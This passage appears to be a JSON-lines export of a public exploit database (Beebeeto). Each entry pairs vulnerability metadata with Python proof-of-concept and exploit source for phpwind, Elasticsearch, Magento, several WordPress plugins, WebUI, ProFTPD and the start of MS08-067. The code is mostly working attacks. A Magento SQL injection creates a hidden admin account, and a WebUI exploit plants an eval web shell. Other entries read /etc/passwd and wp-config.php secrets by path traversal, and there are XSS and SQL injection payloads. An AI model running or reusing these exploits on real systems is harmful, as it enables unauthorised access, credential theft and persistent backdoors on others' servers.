'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'phpwind',\r\n 'vul_version': ['8.7'],\r\n 'type': 'Cross Site Scripting',\r\n 'tag': ['phpwind\u7cfb\u7edf\u6f0f\u6d1e', '/goto.php\u6f0f\u6d1e', 'phpwind xss\u6f0f\u6d1e', 'php'],\r\n 'desc': 'The first programming code flaw occurs at \"&url\" parameter in \"/goto.php?\" page.',\r\n 'references': ['http://seclists.org/fulldisclosure/2015/May/106',],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n verify_url = '%s/goto.php?url=beebee\">alert(1).com/' % args['options']['target']\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n if req.status_code == 200 and 'url=beebee\">alert(1).com' in req.content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "The first programming code flaw occurs at \"&url\" parameter in \"/goto.php?\" page.", "app_name": "PHPWind", "id": "poc-2015-0104", "layer4_protocol": null} +{"create_date": "2015-05-21 20:32:47", "name": "Elasticsearch < 1.4.5 / < 1.5.2 \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e Exploit", "level": "\u9ad8\u5371", "batchable": 1, "author": "1024", "rank": 3, "port": null, "vul_type": "\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6", "tag": "Elasticsearch\u6f0f\u6d1e,ES \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e,CVE-2015-3337", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\nimport urlparse\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0103',\r\n 'name': 'Elasticsearch < 1.4.5 / < 1.5.2 \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e Exploit',\r\n 'author': '1024',\r\n 'create_date': '2015-05-21',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [9200],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Elasticsearch',\r\n 'vul_version': ['1.5.2'],\r\n 'type': 'Arbitrary File Read',\r\n 'tag': ['Elasticsearch\u6f0f\u6d1e', 'ES \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e', 'CVE-2015-3337'],\r\n 'desc': '''\r\n Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2,\r\n when a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors.\r\n ''',\r\n 'references': [\r\n 'https://www.exploit-db.com/exploits/37054/',\r\n 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3337',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n # Include more plugin names to check if they are installed\r\n pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head']\r\n target = urlparse.urlparse(args['options']['target'])\r\n for plugin in pluginList:\r\n es_test = '%s://%s:9200/_plugin/%s/../../../bin/elasticsearch' % \\\r\n (target.scheme, target.netloc, plugin)\r\n verify_url = '%s://%s:9200/_plugin/%s/../../../../../../etc/passwd' % \\\r\n (target.scheme, target.netloc, plugin)\r\n response = requests.get(es_test, timeout=8, allow_redirects=False)\r\n if \"ES_JAVA_OPTS\" in response.content:\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + es_test\r\n req = requests.get(verify_url, timeout=8)\r\n if req.status_code == 200:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n continue\r\n return args\r\n\r\n verify = exploit\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2,\r\nwhen a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors.", "app_name": "ElasticSearch", "id": "poc-2015-0103", "layer4_protocol": null} +{"create_date": "2015-05-14 11:49:17", "name": "Elasticsearch _river \u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "foundu", "rank": 3, "port": null, "vul_type": "\u8d8a\u6743\u8bbf\u95ee", "tag": "Elasticsearch\u6f0f\u6d1e,\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e,\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\nimport urlparse\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0100',\r\n 'name': 'Elasticsearch _river \u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e POC',\r\n 'author': 'foundu',\r\n 'create_date': '2015-05-14',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [9200],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Elasticsearch',\r\n 'vul_version': ['*'],\r\n 'type': 'Privilege Escalation',\r\n 'tag': ['Elasticsearch\u6f0f\u6d1e', '\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e', '\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e'],\r\n 'desc': 'elasticsearch\u5728\u5b89\u88c5\u4e86river\u4e4b\u540e\u53ef\u4ee5\u540c\u6b65\u591a\u79cd\u6570\u636e\u5e93\u6570\u636e\uff08\u5305\u62ec\u5173\u7cfb\u578b\u7684mysql\u3001mongodb\u7b49\uff09',\r\n 'references': ['http://zone.wooyun.org/content/20297',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n target = urlparse.urlparse(args['options']['target'])\r\n verify_url = '%s://%s:9200/_river/_search' % (target.scheme, target.netloc)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n if req.status_code == 200 and '_river' in req.content and 'type' in req.content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "elasticsearch\u5728\u5b89\u88c5\u4e86river\u4e4b\u540e\u53ef\u4ee5\u540c\u6b65\u591a\u79cd\u6570\u636e\u5e93\u6570\u636e\uff08\u5305\u62ec\u5173\u7cfb\u578b\u7684mysql\u3001mongodb\u7b49\uff09", "app_name": "ElasticSearch", "id": "poc-2015-0100", "layer4_protocol": null} +{"create_date": "2015-05-12 17:20:13", "name": "Magento 1.9.1 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e Exploit", "level": "\u9ad8\u5371", "batchable": 0, "author": "foundu", "rank": 4, "port": null, "vul_type": "\u4ee3\u7801\u6267\u884c", "tag": "Magento 1.9.1 \u6f0f\u6d1e,Magento RCE \u6f0f\u6d1e,\u7535\u5b50\u5546\u52a1\u7cfb\u7edf\u6f0f\u6d1e,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport base64\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\nfrom utils.generator import generate_user_pwd\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0099',\r\n 'name': 'Magento 1.9.1 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e Exploit',\r\n 'author': 'foundu',\r\n 'create_date': '2015-05-12',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Magento',\r\n 'vul_version': ['1.9.1'],\r\n 'type': 'Code Execution',\r\n 'tag': ['Magento 1.9.1 \u6f0f\u6d1e', 'Magento RCE \u6f0f\u6d1e', '\u7535\u5b50\u5546\u52a1\u7cfb\u7edf\u6f0f\u6d1e', 'php'],\r\n 'desc': '''\r\n Magento\u5e73\u53f0\u4e2d\u7684\u4e00\u7cfb\u5217\u4e25\u91cd\u6f0f\u6d1e\u6700\u7ec8\u5141\u8bb8\u672a\u7ecf\u6388\u6743\u7684\u653b\u51fb\u8005\u6267\u884c\u4ed6\u4eec\u6240\u9009\u62e9\u7684\r\n web\u670d\u52a1\u5668\u4e0a\u7684\u4efb\u610f\u4ee3\u7801\u3002\r\n ''',\r\n 'references': [\r\n 'http://devdocs.magento.com/guides/m1x/other/appsec-900_addhandler.html',\r\n 'http://www.siph0n.in/exploits.php?id=3829',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n url = args['options']['target']\r\n if url.endswith(\"/\"):\r\n url = url[:-1]\r\n target_url = url + \"/index.php/admin/Cms_Wysiwyg/directive/index/\"\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + target_url\r\n # For demo purposes, I use the same attack as is being used in the wild\r\n SQLQUERY=\"\"\"\r\n SET @SALT = 'rp';\r\n SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));\r\n SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;\r\n INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());\r\n INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');\r\n \"\"\"\r\n # Put the nice readable queries into one line,\r\n # and insert the username:password combinination\r\n password = generate_user_pwd.password()\r\n query = SQLQUERY.replace(\"\\n\", \"\").format(username=\"beebeeto\", password=password)\r\n pfilter = \"popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}\".format(query)\r\n r = requests.post(target_url, data={\"___directive\":\r\n \"e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ\",\r\n \"filter\": base64.b64encode(pfilter),\r\n \"forwarded\": 1})\r\n if r.ok:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = target_url\r\n args['poc_ret']['message'] = 'Admin(user/pwd): beebeeto/{})'.format(password)\r\n return args\r\n\r\n verify = exploit\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "Magento\u5e73\u53f0\u4e2d\u7684\u4e00\u7cfb\u5217\u4e25\u91cd\u6f0f\u6d1e\u6700\u7ec8\u5141\u8bb8\u672a\u7ecf\u6388\u6743\u7684\u653b\u51fb\u8005\u6267\u884c\u4ed6\u4eec\u6240\u9009\u62e9\u7684web\u670d\u52a1\u5668\u4e0a\u7684\u4efb\u610f\u4ee3\u7801\u3002", "app_name": "Magento", "id": "poc-2015-0099", "layer4_protocol": null} +{"create_date": "2015-05-07 10:18:51", "name": "WordPress MiwoFTP <=1.0.5 \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "range", "rank": 3, "port": null, "vul_type": "\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d", "tag": "Wordpress MiwoFTP\u63d2\u4ef6\u6f0f\u6d1e,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport urllib\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = { \r\n # poc\u76f8\u5173\u4fe1\u606f \r\n 'poc': { \r\n 'id': 'poc-2015-0096',\r\n 'name': 'WordPress MiwoFTP <=1.0.5 \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e POC',\r\n 'author': 'range',\r\n 'create_date': '2015-05-05',\r\n }, \r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f \r\n 'protocol': { \r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n }, \r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f \r\n 'vul': { \r\n 'app_name': 'Wordpress',\r\n 'vul_version': ['<=1.0.5',], \r\n 'type': 'Arbitrary File Download',\r\n 'tag': ['Wordpress MiwoFTP\u63d2\u4ef6\u6f0f\u6d1e', 'php'],\r\n 'desc': '''\r\n WordPress MiwoFTP Plugin <= 1.0.5 - Arbitrary File Download\r\n ''',\r\n 'references': ['https://www.exploit-db.com/exploits/36801/', \r\n ], \r\n }, \r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = ('/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download'\r\n '&item=wp-config.php&order=name&srt=yes')\r\n verify_url = args['options']['target'] + payload\r\n request = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n response = urllib2.urlopen(request)\r\n reg = re.compile(\"DB_PASSWORD\")\r\n if reg.findall(response.read()):\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n \r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n \r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "WordPress MiwoFTP Plugin <= 1.0.5 - Arbitrary File Download", "app_name": "WordPress", "id": "poc-2015-0096", "layer4_protocol": null} +{"create_date": "2015-04-28 16:09:14", "name": "WebUI 1.5b6 /mainfile.php \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC & Exploit", "level": "\u9ad8\u5371", "batchable": 1, "author": "7rac3", "rank": 4, "port": null, "vul_type": "\u4ee3\u7801\u6267\u884c", "tag": "WebUI\u6f0f\u6d1e,/mainfile.php,Remote Code Execution Vulnerability,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n 'poc':{\r\n 'id': 'poc-2015-0094',\r\n 'name': 'WebUI 1.5b6 /mainfile.php \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC & Exploit',\r\n 'author': '7rac3',\r\n 'create_date': '2015-4-27',\r\n },\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n 'vul':{\r\n 'app_name': 'WebUI',\r\n 'vul_version': ['1.5b6'],\r\n 'type': 'Code Execution',\r\n 'tag': ['WebUI\u6f0f\u6d1e', '/mainfile.php', 'Remote Code Execution Vulnerability', 'php'],\r\n 'desc': 'WebUI 1.5b6 has code execution in mainfile.php',\r\n 'references': ['https://www.exploit-db.com/exploits/36821/',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls,args):\r\n target = args['options']['target']\r\n payload = '/mainfile.php?username=RCE&password=BB2&_login=1&Logon=%27;echo%20md5(111);%27'\r\n vul_url = target + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: '+ vul_url\r\n response = requests.get(vul_url)\r\n text = response.content\r\n if '698d51a19d8a121ce581499d7b701668' in text:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = vul_url\r\n return args\r\n\r\n\r\n @classmethod\r\n def exploit(cls,args):\r\n target = args['options']['target']\r\n payload = '/mainfile.php?username=RCE&password=BB2&_login=1&Logon=%27;echo%20md5(111);@eval($_POST[bb2]);%27'\r\n vul_url = target + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: '+ vul_url\r\n response = requests.get(vul_url)\r\n text = response.content\r\n if '698d51a19d8a121ce581499d7b701668' in text:\r\n args['success'] = True\r\n args['poc_ret']['webshell'] = vul_url\r\n args['poc_ret']['password'] = 'bb2'\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = Mypoc()\r\n pprint(mp.run())", "desc": "WebUI 1.5b6 has code execution in mainfile.php", "app_name": "Other", "id": "poc-2015-0094", "layer4_protocol": null} +{"create_date": "2015-04-27 21:32:04", "name": "Wordpress < 4.1.2 /wp-comments-post.php \u5b58\u50a8\u578bXSS\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "tmp", "rank": 5, "port": null, "vul_type": "\u8de8\u7ad9\u6f0f\u6d1e", "tag": "Wordpress\u5b58\u50a8\u578bXSS\u6f0f\u6d1e,/wp-comments-post.php,Cross Site Scripting,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport random\r\nimport string\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0092',\r\n 'name': 'Wordpress < 4.1.2 /wp-comments-post.php \u5b58\u50a8\u578bXSS\u6f0f\u6d1e POC',\r\n 'author': 'tmp',\r\n 'create_date': '2015-04-26',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Wordpress',\r\n 'vul_version': ['<4.1.2'],\r\n 'type': 'Cross Site Scripting',\r\n 'tag': ['Wordpress\u5b58\u50a8\u578bXSS\u6f0f\u6d1e', '/wp-comments-post.php', 'Cross Site Scripting', 'php'],\r\n 'desc': '''\r\n \u8be5\u95ee\u9898\u7531 mysql \u7684\u4e00\u4e2a\u7279\u6027\u5f15\u8d77\uff0c\u5728 mysql \u7684 utf8 \u5b57\u7b26\u96c6\u4e2d\uff0c\u4e00\u4e2a\u5b57\u7b26\u75311~3\u4e2a\u5b57\u8282\u7ec4\u6210\uff0c\r\n \u5bf9\u4e8e\u5927\u4e8e3\u4e2a\u5b57\u8282\u7684\u5b57\u7b26\uff0cmysql \u4f7f\u7528\u4e86 utf8mb4 \u7684\u5f62\u5f0f\u6765\u5b58\u50a8\u3002\r\n \u5982\u679c\u6211\u4eec\u5c06\u4e00\u4e2a utf8mb4 \u5b57\u7b26\u63d2\u5165\u5230 utf8 \u7f16\u7801\u7684\u5217\u4e2d\uff0c\u90a3\u4e48\u5728mysql\u7684\u975estrict mode\u4e0b\uff0c\r\n \u4ed6\u4f1a\u5c06\u540e\u9762\u7684\u5185\u5bb9\u622a\u65ad\uff0c\u5bfc\u81f4\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u7f3a\u9677\u5b8c\u6210 XSS \u653b\u51fb\u3002\r\n ''',\r\n 'references': [\r\n 'https://wordpress.org/news/2015/04/wordpress-4-1-2/',\r\n 'https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n target = args['options']['target']\r\n verify_url = target + \"/wp-comments-post.php\"\r\n rand_str = lambda length: ''.join(random.sample(string.letters, length))\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n print '[*] Checking...'\r\n try:\r\n post_id = re.search(r'post-(?P[\\d]+)',\r\n requests.get(target).content).group('post_id')\r\n except:\r\n if args['options']['verbose']:\r\n print '[-] Not WordPress'\r\n return args\r\n ttys = \"test
\"\r\n flag = rand_str(10)\r\n payload = {\r\n 'author': rand_str(10),\r\n 'email': '%s@%s.com' % (rand_str(10), rand_str(3)),\r\n 'url': 'http://www.beebeeto.com',\r\n 'comment': ttys % flag,\r\n 'comment_post_ID': post_id,\r\n 'comment_parent': 0,\r\n }\r\n if args['options']['verbose']:\r\n print '[*] Send Payload: %s' % payload['comment']\r\n content = requests.post(verify_url, data=payload).content\r\n if '
5:\r\n args['options']['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n break\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "There are sql injection vulnerabilities in NEX-Forms Plugin\r\nwhich could allow the attacker to execute sql queries into database", "app_name": "WordPress", "id": "poc-2015-0089", "layer4_protocol": null} +{"create_date": "2015-04-20 22:27:48", "name": "ProFTPD <=1.3.5 mod_copy \u672a\u6388\u6743\u6587\u4ef6\u590d\u5236\u6f0f\u6d1e(CVE-2015-3306) POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "Evi1m0", "rank": 4, "port": null, "vul_type": "\u5176\u4ed6\u7c7b\u578b", "tag": "ProFTPD\u6f0f\u6d1e,mod_copy\u6f0f\u6d1e,CVE-2015-3306", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport random\r\nimport telnetlib\r\n\r\nfrom baseframe import BaseFrame\r\nfrom utils.http import http\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0088',\r\n 'name': 'ProFTPD <=1.3.5 mod_copy \u672a\u6388\u6743\u6587\u4ef6\u590d\u5236\u6f0f\u6d1e(CVE-2015-3306) POC',\r\n 'author': 'evi1m0',\r\n 'create_date': '2015-04-20',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'ftp',\r\n 'port': [21],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'ProFTPD',\r\n 'vul_version': ['<=1.3.5'],\r\n 'type': 'Other',\r\n 'tag': ['ProFTPD\u6f0f\u6d1e', 'mod_copy\u6f0f\u6d1e', 'CVE-2015-3306'],\r\n 'desc': '''\r\n This candidate has been reserved by an organization or individual that will use it when announcing\r\n a new security problem. When the candidate has been publicized, the details for this candidate will be\r\n provided.\r\n ''',\r\n 'references': ['http://bugs.proftpd.org/show_bug.cgi?id=4169',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n ip = http.transform_target_ip(http.normalize_url(args['options']['target']))\r\n if args['options']['verbose']:\r\n print '[*] {} Connecting...'.format(ip)\r\n tn = telnetlib.Telnet(ip, port=21, timeout=15)\r\n tn.write('site help\\r\\n')\r\n tn.write('quit\\n')\r\n status = tn.read_all()\r\n if 'CPTO' in status and 'CPFR' in status:\r\n if args['options']['verbose']:\r\n print '[*] Find CPTO & CPFR'\r\n tn = telnetlib.Telnet(ip, port=21, timeout=15)\r\n filename_tmp = '/tmp/evi1m0_%s.sh'%random.randint(1, 1000)\r\n tn.write('site cpto evi1m0@beebeeto\\n')\r\n tn.write('site cpfr /proc/self/fd/3\\n')\r\n tn.write('site cpto %s\\n'%filename_tmp)\r\n tn.write('quit\\n')\r\n result = tn.read_all()\r\n if 'Copy successful' in result:\r\n args['success'] = True\r\n args['poc_ret']['vul_target'] = ip\r\n args['poc_ret']['filename'] = filename_tmp\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "This candidate has been reserved by an organization or individual that will use it when announcing\r\na new security problem. When the candidate has been publicized, the details for this candidate will be\r\nprovided.", "app_name": "ProFTPD", "id": "poc-2015-0088", "layer4_protocol": null} +{"create_date": "2015-04-20 18:07:05", "name": "Wordpress Ajax Store Locator <= 1.2 SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "1024", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "WordPress\u63d2\u4ef6\u6f0f\u6d1e,/wp-admin/admin-ajax.php,SQL Injection,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0087',\r\n 'name': 'Wordpress Ajax Store Locator <= 1.2 SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': '1024',\r\n 'create_date': '2015-04-20',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'WordPress',\r\n 'vul_version': ['<=1.2'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['WordPress\u63d2\u4ef6\u6f0f\u6d1e', '/wp-admin/admin-ajax.php', 'SQL Injection', 'php'],\r\n 'desc': 'The \"sl_dal_searchlocation_cbf\" ajax function is affected from SQL Injection vulnerability',\r\n 'references': ['https://www.exploit-db.com/exploits/36777/'],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n payload = ('wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore'\r\n '&Location=Social&StoreLocation=1~1+UNION+SELECT+1,2,3,4,md5(233),6,7,8,9,10'\r\n ',11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39--')\r\n verify_url = url + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = requests.get(url).content\r\n if 'e165421110ba03099a1c0393373c5b43' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "The \"sl_dal_searchlocation_cbf\" ajax function is affected from SQL Injection vulnerability", "app_name": "WordPress", "id": "poc-2015-0087", "layer4_protocol": null} +{"create_date": "2015-04-19 20:11:06", "name": "MS08-067 NetAPI32.dll \u8fdc\u7a0b\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e(CVE-2008-4250) POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "tmp", "rank": 3, "port": null, "vul_type": "\u7f13\u51b2\u533a\u6ea2\u51fa", "tag": "Windows\u6f0f\u6d1e,NetAPI32.dll\u6f0f\u6d1e,CVE-2008-4250,ms08-067", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport socket\r\n\r\nfrom baseframe import BaseFrame\r\nfrom utils.http import http\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # 